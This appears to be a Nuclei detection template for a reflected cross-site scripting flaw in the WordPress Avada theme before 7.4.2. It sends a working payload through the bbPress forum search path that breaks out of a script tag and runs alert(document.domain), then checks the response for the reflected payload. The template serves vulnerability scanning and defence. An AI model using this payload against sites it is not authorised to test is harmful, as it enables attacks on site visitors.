id: avada-xss

info:
  name: WordPress Avada Website Builder <7.4.2 - Cross-Site Scripting
  author: Akincibor
  severity: high
  description: WordPress Avada Website Builder prior to 7.4.2 contains a cross-site scripting vulnerability. The theme does not properly escape bbPress searches before outputting them back as breadcrumbs.
  reference:
    - https://wpscan.com/vulnerability/eb172b07-56ab-41ce-92a1-be38bab567cb
    - https://theme-fusion.com/documentation/avada/installation-maintenance/avada-changelog/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: xss,wp,wordpress,wp-theme,avada,wpscan

http:
  - method: GET
    path:
      - '{{BaseURL}}/forums/search/z-->%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E/'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'
          - 'avada-footer-scripts'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204d359ecd08dfe203a38a0b98eb264a7d0b560f27537b2afb5c791049e572f158022100ec64909ef4501276e2400d8621c5943300061abc1d04302be589dde5751ef286:922c64590222798bb761d5b6d8e72950